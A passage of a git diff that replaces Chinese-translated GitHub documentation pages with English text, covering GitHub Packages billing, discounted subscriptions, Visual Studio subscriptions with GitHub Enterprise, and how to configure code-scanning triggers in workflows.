any source is free. We determine you are downloading packages using {% data variables.product.prodname_actions %} when you log in to {% data variables.product.prodname_registry %} using a `GITHUB_TOKEN`. -| | 托管 | 自托管 | -| -------------------- | -- | --- | -| 使用 `GITHUB_TOKEN` 访问 | 免费 | 免费 | -| 使用个人访问令牌访问 | 免费 | 美元 | +||Hosted|Self-Hosted| +|-|-|-| +|Access using a `GITHUB_TOKEN`|Free|Free| +|Access using a personal access token|Free|$| -存储使用情况与 {% data variables.product.prodname_actions %} 为您的帐户所拥有的仓库产生的构件共享。 更多信息请参阅“[关于 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)”。 +Storage usage is shared with build artifacts produced by {% data variables.product.prodname_actions %} for repositories owned by your account. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." -{% data variables.product.prodname_dotcom %} 向拥有其中发布软件包的仓库的帐户收取使用费。 If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.25 USD per GB of storage and $0.50 USD per GB of data transfer. +{% data variables.product.prodname_dotcom %} charges usage to the account that owns the repository where the package is published. If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.25 USD per GB of storage and $0.50 USD per GB of data transfer. -例如，如果您的组织使用 {% data variables.product.prodname_team %}，允许无限制的支出，使用了 150GB 的存储量，一个月内还传输了 50GB 的数据，则组织在当月的存储量超限 148GB，数据传输量为 40GB。 The storage overage would cost $0.25 USD per GB or $37 USD. The overage for data transfer would cost $0.50 USD per GB or $20 USD. {% data reusables.dotcom_billing.pricing_cal %} +For example, if your organization uses {% data variables.product.prodname_team %}, allows unlimited spending, uses 150GB of storage, and has 50GB of data transfer out during a month, the organization would have overages of 148GB for storage and 40GB for data transfer for that month. The storage overage would cost $0.25 USD per GB or $37 USD. The overage for data transfer would cost $0.50 USD per GB or $20 USD. {% data reusables.dotcom_billing.pricing_cal %} -到月底，{% data variables.product.prodname_dotcom %} 会将您的数据传输舍入到最接近的 GB。 +At the end of the month, {% data variables.product.prodname_dotcom %} rounds your data transfer to the nearest GB. -{% data variables.product.prodname_dotcom %} 根据每个月的小时用量计算该月的存储使用量。 例如，如果您在 3 月的 10 天中使用了 3 GB 的存储量，在 3 月的 21 天中使用了 12 GB 的存储量，则您的存储使用量为： +{% data variables.product.prodname_dotcom %} calculates your storage usage for each month based on hourly usage during that month. For example, if you use 3 GB of storage for 10 days of March and 12 GB for 21 days of March, your storage usage would be: -- 3 GB x 10 天 x（每天 24 小时）= 720 GB-小时 -- 12 GB x 21 天 x（每天 24 小时）= 6,048 GB-小时 -- 720 GB-小时 + 6,048 GB-小时 = 6,768 GB-小时 -- 6,768 GB-小时 / (每月 744 小时) = 9.0967 GB-月 +- 3 GB x 10 days x (24 hours per day) = 720 GB-Hours +- 12 GB x 21 days x (24 hours per day) = 6,048 GB-Hours +- 720 GB-Hours + 6,048 GB-Hours = 6,768 GB-Hours +- 6,768 GB-Hours / (744 hours per month) = 9.0967 GB-Months -到月底，{% data variables.product.prodname_dotcom %} 会将您的存储量舍入到最接近的 MB。 因此，您 3 月份的存储使用量为 9.097GB。 +At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. Therefore, your storage usage for March would be 9.097 GB. -您的 {% data variables.product.prodname_registry %} 使用将共用帐户的现有计费日期、付款方式和收据。 {% data reusables.dotcom_billing.view-all-subscriptions %} +Your {% data variables.product.prodname_registry %} usage shares your account's existing billing date, payment method, and receipt. {% data reusables.dotcom_billing.view-all-subscriptions %} {% data reusables.user_settings.context_switcher %} -## 关于支出限制 +## About spending limits {% data reusables.package_registry.packages-spending-limit-detailed %} -有关管理和更改帐户支出限制的信息，请参阅“[管理 {% data variables.product.prodname_registry %} 的支出限制](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages)”。 +For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages)." {% data reusables.dotcom_billing.actions-packages-unpaid-account %} diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md index 96b3253263..0dc25db5cf 100644 --- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md +++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md @@ -1,6 +1,6 @@ --- -title: GitHub 帐户折扣订阅 -intro: '{% data variables.product.product_name %} 向学生、教育者、教育机构、非赢利组织和图书馆提供折扣。' +title: Discounted subscriptions for GitHub accounts +intro: '{% data variables.product.product_name %} provides discounts to students, educators, educational institutions, nonprofits, and libraries.' redirect_from: - /github/setting-up-and-managing-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts - /articles/discounted-personal-accounts/ @@ -18,29 +18,28 @@ topics: - Discounts - Nonprofits - User account -shortTitle: 折扣订阅 +shortTitle: Discounted subscriptions --- - {% tip %} -**提示**：{% data variables.product.prodname_dotcom %} 折扣不适用于其他付费产品和功能。 +**Tip**: Discounts for {% data variables.product.prodname_dotcom %} do not apply to subscriptions for other paid products and features. {% endtip %} -## 个人帐户折扣 +## Discounts for personal accounts -拥有 {% data variables.product.prodname_free_user %} 的学生和教职工除了可使用无限公共和私有仓库外，经验证的学生还可以申请 {% data variables.product.prodname_student_pack %}，以便从 {% data variables.product.prodname_dotcom %} 合作伙伴处获得其他好处。 更多信息请参阅“[申请学生开发包](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)”。 +In addition to the unlimited public and private repositories for students and faculty with {% data variables.product.prodname_free_user %}, verified students can apply for the {% data variables.product.prodname_student_pack %} to receive additional benefits from {% data variables.product.prodname_dotcom %} partners. For more information, see "[Apply for a student developer pack](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)." -## 学校和大学折扣 +## Discounts for schools and universities -经验证的教师可出于教学和学术研究目的申请 {% data variables.product.prodname_team %}。 更多信息请参阅“[在课堂上和研究中使用 {% data variables.product.prodname_dotcom %}](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)”。 更多信息请参阅“[在课堂和研究中使用 {{ site.data.variables.product.prodname_dotcom }}](/articles/using-github-in-your-classroom-and-research)”。 更多信息请访问 [{% data variables.product.prodname_education %}](https://education.github.com/)。 +Verified academic faculty can apply for {% data variables.product.prodname_team %} for teaching or academic research. For more information, see "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)." You can also request educational materials goodies for your students. For more information, visit [{% data variables.product.prodname_education %}](https://education.github.com/). -## 非赢利组织和图书馆折扣 +## Discounts for nonprofits and libraries -{% data variables.product.product_name %} 向符合资格的 501(c)3（或同等）组织和图书馆提供免费 {% data variables.product.prodname_team %} 、无限私有仓库、无限协作者和完全功能。 您可以在[我们的非赢利组织页面](https://github.com/nonprofit)为您的组织申请折扣。 +{% data variables.product.product_name %} provides free {% data variables.product.prodname_team %} for organizations with unlimited private repositories, unlimited collaborators, and a full feature set to qualifying 501(c)3 (or equivalent) organizations and libraries. You can request a discount for your organization on [our nonprofit page](https://github.com/nonprofit). -如果组织已进行付费订阅，非赢利组织折扣适用后，组织的最后一次交易将获得退款。 +If your organization already has a paid subscription, your organization's last transaction will be refunded once your nonprofit discount has been applied. -## 延伸阅读 +## Further reading -- “[关于 {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github) 计费” +- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)" diff --git a/translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md b/translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md index 840a183fe9..86724905ed 100644 --- a/translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md +++ b/translations/zh-CN/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md @@ -16,36 +16,36 @@ type: overview topics: - Enterprise - Licensing -shortTitle: 关于 +shortTitle: About --- -## 关于 {% data variables.product.prodname_vss_ghe %} +## About {% data variables.product.prodname_vss_ghe %} -{% data reusables.enterprise-accounts.vss-ghe-description %} {% data variables.product.prodname_vss_ghe %} is available from Microsoft under the terms of the Microsoft Enterprise Agreement. 更多信息请参阅 {% data variables.product.prodname_vs %} 网站上的 [{% data variables.product.prodname_vss_ghe %}](https://visualstudio.microsoft.com/subscriptions/visual-studio-github/)。 +{% data reusables.enterprise-accounts.vss-ghe-description %} {% data variables.product.prodname_vss_ghe %} is available from Microsoft under the terms of the Microsoft Enterprise Agreement. For more information, see [{% data variables.product.prodname_vss_ghe %}](https://visualstudio.microsoft.com/subscriptions/visual-studio-github/) on the {% data variables.product.prodname_vs %} website. -To use the {% data variables.product.prodname_enterprise %} portion of the license, each subscriber's user account on {% data variables.product.prodname_dotcom_the_website %} must be or become a member of an organization owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}. To accomplish this, organization owners can invite new members to an organization by email address. 订阅者可以使用 {% data variables.product.prodname_dotcom_the_website %} 上的现有用户帐户或创建一个新帐户来接受邀请。 +To use the {% data variables.product.prodname_enterprise %} portion of the license, each subscriber's user account on {% data variables.product.prodname_dotcom_the_website %} must be or become a member of an organization owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}. To accomplish this, organization owners can invite new members to an organization by email address. The subscriber can accept the invitation with an existing user account on {% data variables.product.prodname_dotcom_the_website %} or create a new account. For more information about the setup of {% data variables.product.prodname_vss_ghe %}, see "[Setting up {% data variables.product.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise)." -## 关于 {% data variables.product.prodname_vss_ghe %} 的许可 +## About licenses for {% data variables.product.prodname_vss_ghe %} -After you assign a license for {% data variables.product.prodname_vss_ghe %} to a subscriber, the subscriber will use the {% data variables.product.prodname_enterprise %} portion of the license by joining an organization in your enterprise with a user account on {% data variables.product.prodname_dotcom_the_website %}. 如果 {% data variables.product.prodname_dotcom_the_website %} 上的企业成员用户帐户电子邮件地址匹配订阅 {% data variables.product.prodname_vs %} 帐户的用户主名 (UPN)，则 {% data variables.product.prodname_vs %} 订阅者将自动占用一个 {% data variables.product.prodname_vss_ghe %} 许可。 +After you assign a license for {% data variables.product.prodname_vss_ghe %} to a subscriber, the subscriber will use the {% data variables.product.prodname_enterprise %} portion of the license by joining an organization in your enterprise with a user account on {% data variables.product.prodname_dotcom_the_website %}. If the email address for the user account of an enterprise member on {% data variables.product.prodname_dotcom_the_website %} matches the User Primary Name (UPN) for a subscriber to your {% data variables.product.prodname_vs %} account, the {% data variables.product.prodname_vs %} subscriber will automatically consume one license for {% data variables.product.prodname_vss_ghe %}. -您的企业在 {% data variables.product.prodname_dotcom %} 上的许可总数等于任何标准 {% data variables.product.prodname_enterprise %} 许可和包括 {% data variables.product.prodname_dotcom %} 访问权限的 {% data variables.product.prodname_vs %} 订阅许可数量的总和。 如果企业成员的用户帐户与 {% data variables.product.prodname_vs %} 订阅者的电子邮件地址不对应，则该用户帐户占用的许可不适用于 {% data variables.product.prodname_vs %} 订阅者。 +The total quantity of your licenses for your enterprise on {% data variables.product.prodname_dotcom %} is the sum of any standard {% data variables.product.prodname_enterprise %} licenses and the number of {% data variables.product.prodname_vs %} subscription licenses that include access to {% data variables.product.prodname_dotcom %}. If the user account for an enterprise member does not correspond with the email address for a {% data variables.product.prodname_vs %} subscriber, the license that the user account consumes is unavailable for a {% data variables.product.prodname_vs %} subscriber. -有关 {% data variables.product.prodname_enterprise %} 的更多信息，请参阅“[{% data variables.product.company_short %} 的产品](/github/getting-started-with-github/githubs-products#github-enterprise)”。 有关 {% data variables.product.prodname_dotcom_the_website %} 帐户的更多信息，请参阅“[{% data variables.product.prodname_dotcom %} 帐户类型](/github/getting-started-with-github/types-of-github-accounts)”。 +For more information about {% data variables.product.prodname_enterprise %}, see "[{% data variables.product.company_short %}'s products](/github/getting-started-with-github/githubs-products#github-enterprise)." For more information about accounts on {% data variables.product.prodname_dotcom_the_website %}, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/github/getting-started-with-github/types-of-github-accounts)." You can view the number of {% data variables.product.prodname_enterprise %} licenses available to your enterprise on {% data variables.product.product_location %}. The list of pending invitations includes subscribers who are not yet members of at least one organization in your enterprise. For more information, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" and "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-and-outside-collaborators)." {% tip %} -**Tip**: If you download a CSV file with your enterprise's license usage in step 6 of "[Viewing the subscription and usage for your enterprise account](https://docs-internal-19656--vss-ghe-s.herokuapp.com/en/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account#viewing-the-subscription-and-usage-for-your-enterprise-account)," any members with a missing value for the "Name" or "Profile" columns have not yet accepted an invitation to join an organization within the enterprise. +**Tip**: If you download a CSV file with your enterprise's license usage in step 6 of "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account#viewing-the-subscription-and-usage-for-your-enterprise-account)," any members with a missing value for the "Name" or "Profile" columns have not yet accepted an invitation to join an organization within the enterprise. {% endtip %} -您也可以在 {% data variables.product.prodname_vss_admin_portal_with_url %} 中查看对订阅者的待处理 {% data variables.product.prodname_enterprise %} 邀请。 +You can also see pending {% data variables.product.prodname_enterprise %} invitations to subscribers in {% data variables.product.prodname_vss_admin_portal_with_url %}. -## 延伸阅读 +## Further reading - [{% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/visualstudio/subscriptions/access-github) in Microsoft Docs -- [Use {% data variables.product.prodname_vs %} or {% data variables.product.prodname_vscode %} to deploy apps from {% data variables.product.prodname_dotcom %}](https://docs.microsoft.com/en-us/azure/developer/github/deploy-with-visual-studio) in Microsoft Docs +- [Use {% data variables.product.prodname_vs %} or {% data variables.product.prodname_vscode %} to deploy apps from {% data variables.product.prodname_dotcom %}](https://docs.microsoft.com/en-us/azure/developer/github/deploy-with-visual-studio) in Microsoft Docs \ No newline at end of file diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md index 899f9a169d..c51ed6834e 100644 --- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md +++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md @@ -1,6 +1,6 @@ --- -title: 配置代码扫描 -intro: '您可以配置 {% data variables.product.prodname_dotcom %} 如何扫描项目代码以查找漏洞和错误。' +title: Configuring code scanning +intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans the code in your project for vulnerabilities and errors.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_code_scanning %} for the repository.' miniTocMaxHeadingLevel: 3 @@ -22,64 +22,65 @@ topics: - Pull requests - JavaScript - Python -shortTitle: 配置代码扫描 +shortTitle: Configure code scanning --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} -## 关于 {% data variables.product.prodname_code_scanning %} 配置 +## About {% data variables.product.prodname_code_scanning %} configuration -您可以使用 {% data variables.product.prodname_actions %} 在 {% data variables.product.product_name %} 中运行 {% data variables.product.prodname_code_scanning %}，或从持续集成 (CI) 系统运行它。 更多信息请参阅“[关于 {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)”或 +You can run {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %}, using {% data variables.product.prodname_actions %}, or from your continuous integration (CI) system. For more information, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)" or {%- ifversion fpt or ghes > 3.0 or ghae-next %} -“[关于 CI 系统中的 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)”。 +"[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)." {%- else %} -"[在 CI 系统中运行 {% data variables.product.prodname_codeql_runner %}](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." +"[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." {% endif %} -本文说明使用操作在 {% data variables.product.product_name %} 上运行 {% data variables.product.prodname_code_scanning %}。 +This article is about running {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %} using actions. -在为仓库配置 {% data variables.product.prodname_code_scanning %} 之前，必须将 {% data variables.product.prodname_actions %} 工作流程添加到仓库中以设置 {% data variables.product.prodname_code_scanning %}。 更多信息请参阅“[为仓库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)”。 +Before you can configure {% data variables.product.prodname_code_scanning %} for a repository, you must set up {% data variables.product.prodname_code_scanning %} by adding a {% data variables.product.prodname_actions %} workflow to the repository. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." {% data reusables.code-scanning.edit-workflow %} -您可以为 {% data variables.product.prodname_code_scanning %} 编写配置文件。 {% data variables.product.prodname_marketplace %}{% ifversion ghes %} 在 {% data variables.product.prodname_dotcom_the_website %} 上，{% endif %}包含您可以使用的其他 {% data variables.product.prodname_code_scanning %} 工作流程。 {% ifversion fpt or ghec %}您可以在“{% data variables.product.prodname_code_scanning %} 使用入门”页找到这些选项，该页面可从 **{% octicon "shield" aria-label="The shield symbol" %} Security（安全）**选项卡访问。{% endif %}本文给出的具体示例与 {% data variables.product.prodname_codeql_workflow %} 文件相关。 +{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.product.prodname_codeql_workflow %} file. -## Editing a code scanning workflow +## Editing a {% data variables.product.prodname_code_scanning %} workflow -{% data variables.product.prodname_dotcom %} 将工作流程文件保存在仓库的 _.github/workflows_ 目录中。 您可以通过搜索其文件名来查找已添加的工作流程。 例如，默认情况下，{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} 的工作流程文件被称为 _codeql-analysis.yml_。 +{% data variables.product.prodname_dotcom %} saves workflow files in the _.github/workflows_ directory of your repository. You can find a workflow you have added by searching for its file name. For example, by default, the workflow file for {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} is called _codeql-analysis.yml_. -1. 在仓库中，浏览至要编辑的工作流程文件。 -1. 要打开工作流程编辑器，在文件视图右上角单击 {% octicon "pencil" aria-label="The edit icon" %}。 ![编辑工作流程文件按钮](/assets/images/help/repository/code-scanning-edit-workflow-button.png) -1. 编辑文件后，单击 **Start commit（开始提交）**并完成“Commit changes（提交更改）”表单。 您可以选择直接提交到当前分支，或者创建一个新分支并启动拉取请求。 ![将更新提交到 codeql.yml 工作流程](/assets/images/help/repository/code-scanning-workflow-update.png) +1. In your repository, browse to the workflow file you want to edit. +1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}. +![Edit workflow file button](/assets/images/help/repository/code-scanning-edit-workflow-button.png) +1. After you have edited the file, click **Start commit** and complete the "Commit changes" form. You can choose to commit directly to the current branch, or create a new branch and start a pull request. +![Commit update to codeql.yml workflow](/assets/images/help/repository/code-scanning-workflow-update.png) -有关编辑工作流程文件的更多信息，请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。 +For more information about editing workflow files, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -## 配置频率 +## Configuring frequency -您可以按时间表或在仓库中发生特定事件时扫描代码。 +You can configure the {% data variables.product.prodname_codeql_workflow %} to scan code on a schedule or when specific events occur in a repository. -每当推送到仓库以及每次创建拉取请求时，时扫描代码可防止开发者在代码中引入新的漏洞和错误。 按时间表扫描可了解 {% data variables.product.company_short %}、安全研究者和社区发现的最新漏洞和错误，即使开发者并未主动维护仓库。 +Scanning code when someone pushes a change, and whenever a pull request is created, prevents developers from introducing new vulnerabilities and errors into the code. Scanning code on a schedule informs you about the latest vulnerabilities and errors that {% data variables.product.company_short %}, security researchers, and the community discover, even when developers aren't actively maintaining the repository. -### 按推送扫描 +### Scanning on push -如果使用默认工作流程，则除了事件触发的扫描之外，{% data variables.product.prodname_code_scanning %} 还会每周扫描一次仓库代码。 要调整此时间表，请编辑工作流程中的 `cron` 值。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#on)”。 +By default, the {% data variables.product.prodname_codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)." -如果您在推送时扫描，则结果将出现在仓库的 **Security（安全性）**选项卡中。 更多信息请参阅“[管理仓库的代码扫描警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)”。 +If you scan on push, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." {% ifversion fpt or ghes > 3.2 or ghae-issue-5093 or ghec %} -Additionally, when an `on:push` scan returns results that can be mapped to an open pull request, these alerts will automatically appear on the pull request in the same places as other pull request alerts. The alerts are identified by comparing the existing analysis of the head of the branch to the analysis for the target branch. For more information on {% data variables.product.prodname_code_scanning %} alerts in pull requests, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +Additionally, when an `on:push` scan returns results that can be mapped to an open pull request, these alerts will automatically appear on the pull request in the same places as other pull request alerts. The alerts are identified by comparing the existing analysis of the head of the branch to the analysis for the target branch. For more information on {% data variables.product.prodname_code_scanning %} alerts in pull requests, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." {% endif %} -### 扫描拉取请求 +### Scanning pull requests -默认 {% data variables.product.prodname_codeql_workflow %} 使用 `pull_request` 事件在针对默认分支的拉取请求上触发代码扫描。 {% ifversion ghes %}如果从私有复刻打开拉取请求，`pull_request` 事件不会触发。{% else %}如果拉取请求来自私有复刻，`pull_request` 事件仅在仓库设置中选择了“Run workflows from fork pull requests（从复刻拉取请求运行工作流程）”选项时触发。 更多信息请参阅“[管理仓库的 {% data variables.product.prodname_actions %} 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)”。{% endif %} +The default {% data variables.product.prodname_codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %} -有关 `pull_request` 事件的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)”。 +For more information about the `pull_request` event, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)." -如果您扫描拉取请求，则结果在拉取请求检查中显示为警报。 更多信息请参阅“[对拉取请求中的代码扫描警报分类](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)”。 +If you scan pull requests, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." {% ifversion fpt or ghes > 3.2 or ghae-issue-5093 or ghec %} Using the `pull_request` trigger, configured to scan the pull request's merge commit rather than the head commit, will produce more efficient and accurate results than scanning the head of the branch on each push. However, if you use a CI/CD system that cannot be configured to trigger on pull requests, you can still use the `on:push` trigger and {% data variables.product.prodname_code_scanning %} will map the results to open pull requests on the branch and add the alerts as annotations on the pull request. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)." @@ -93,17 +94,17 @@ By default, only alerts with the severity level of `Error`{% ifversion fpt or gh {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-security-and-analysis %} -1. Under "Code scanning", to the right of "Check Failure", use the drop-down menu to select the level of severity you would like to cause a pull request check failure. +1. Under "Code scanning", to the right of "Check Failure", use the drop-down menu to select the level of severity you would like to cause a pull request check failure. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -![检查失败设置](/assets/images/help/repository/code-scanning-check-failure-setting.png) +![Check failure setting](/assets/images/help/repository/code-scanning-check-failure-setting.png) {% else %} -![检查失败设置](/assets/images/help/repository/code-scanning-check-failure-setting-ghae.png) +![Check failure setting](/assets/images/help/repository/code-scanning-check-failure-setting-ghae.png) {% endif %} {% endif %} -### 避免对拉取请求进行不必要的扫描 +### Avoiding unnecessary scans of pull requests -您可能希望避免针对默认分支的特定拉取请求触发代码扫描，而不管更改了哪些文件。 可以通过在 {% data variables.product.prodname_code_scanning %} 工作流程中指定 `on:pull_request:paths-ignore` or `on:pull_request:paths` 来进行配置。 例如，如果拉取请求中唯一的更改是文件扩展名为 `.md` 或 `.txt` 的文件，则您可以使用以下 `paths-ignore` 数组。 +You might want to avoid a code scan being triggered on specific pull requests targeted against the default branch, irrespective of which files have been changed. You can configure this by specifying `on:pull_request:paths-ignore` or `on:pull_request:paths` in the {% data variables.product.prodname_code_scanning %} workflow. For example, if the only changes in a pull request are to files with the file extensions `.md` or `.txt` you can use the following `paths-ignore` array. ``` yaml on: @@ -118,28 +119,28 @@ on: {% note %} -**注：** +**Notes** -* `on:pull_request:paths-witch` 和 `on:pull_request:pull_request:path` 设置条件来确定工作流程中的操作是否会在拉取请求上运行。 它们无法确定在操作_运行_时将分析哪些文件。 当拉取请求包含 `on:pull_request:paths-with` 或 `on:pull_request:path:path` 未匹配的任何文件时，工作流程将运行操作并扫描拉取请求中更改的所有文件，包括 `on:pull_request:paths-ignore` 或 `on:pull_request:paths` 匹配的文件，除非文件被排除在外。 有关如何从分析中排除文件的信息，请参阅“[指定要扫描的目录](#specifying-directories-to-scan)”。 -* 对于 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} 工作流程文件， 不要对 `on:push` 事件使用 `paths-ignore` 或 `paths` 关键词， 因为这可能导致缺少分析。 为了获得准确的结果，{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} 需要能够与上次提交的分析比较新的变化。 +* `on:pull_request:paths-ignore` and `on:pull_request:paths` set conditions that determine whether the actions in the workflow will run on a pull request. They don't determine what files will be analyzed when the actions _are_ run. When a pull request contains any files that are not matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, the workflow runs the actions and scans all of the files changed in the pull request, including those matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, unless the files have been excluded. For information on how to exclude files from analysis, see "[Specifying directories to scan](#specifying-directories-to-scan)." +* For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} workflow files, don't use the `paths-ignore` or `paths` keywords with the `on:push` event as this is likely to cause missing analyses. For accurate results, {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} needs to be able to compare new changes with the analysis of the previous commit. {% endnote %} -有关使用 `on:pull_request:paths-ignore` 和 `on:pull_request:paths` 确定工作流程何时对拉取请求运行的详细信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)”。 +For more information about using `on:pull_request:paths-ignore` and `on:pull_request:paths` to determine when a workflow will run for a pull request, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)." -### 按时间表扫描 